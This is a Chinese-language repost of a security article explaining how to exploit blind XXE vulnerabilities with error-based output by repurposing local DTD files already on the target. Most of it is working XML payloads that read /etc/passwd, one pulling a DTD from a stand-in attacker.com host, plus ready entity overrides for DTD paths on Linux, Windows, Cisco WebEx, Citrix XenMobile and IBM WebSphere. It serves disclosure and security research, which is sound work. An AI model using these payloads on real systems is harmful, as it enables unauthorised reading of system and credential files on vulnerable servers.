使用本地DTD文件来利用XXE漏洞实现任意结果输出

本文我要向大家分享一个小技巧,即使用本地DTD文件来利用XXE漏洞从而实现任意结果的输出。

使用本地DTD文件来利用XXE漏洞实现任意结果输出

想象一下你有一个支持外部实体的XXE,但服务器的响应始终为空。在这种情况下,你有两种选择:基于错误和带外利用。

以下是基于错误的示例:

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

 ext.dtd 中的内容

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

看到了吗?你正在使用外部服务器进行payload的传递。如果你和目标服务器之间有防火墙,你可以做什么?答案是什么都做不了!

那么,如果我们将外部DTD文件的内容直接放到DOCTYPE标签内又会是什么结果?会一直出现一些错误。

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
]>
<message></message>

外部DTD允许我们在第二个实体中包含一个实体,但它在内部DTD中被禁止。

我们可以用内部DTD做些什么?

要想在内部DTD子集中使用外部DTD语法,你可以在目标主机上强制执行本地dtd文件,并在其中重新定义一些参数实体引用:

Request

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

    <!ENTITY % condition 'aaa)>
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

sip-app_1_0.dtd 中的内容

…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…

它起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。

如何查找本地dtd文件?

通过枚举来查找文件和目录应该是最简单的方法了,以下是一些成功应用此技巧的例子:

Linux

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows

<!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

感谢来自Positive Technologies的@Mike_n1分享的这条始终存在的Windows DTD文件路径。

Cisco WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

多平台 IBM WebSphere 应用

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

时间线

2016.1.1 — 发现该技术

2018.12.12 — 撰写相关文章

2018.12.13 — 完整披露

*参考来源: mohemiv ,FB小编secist编译,转载请注明来自FreeBuf.COM

原文 

https://www.freebuf.com/articles/web/195899.html

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » 使用本地DTD文件来利用XXE漏洞实现任意结果输出

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址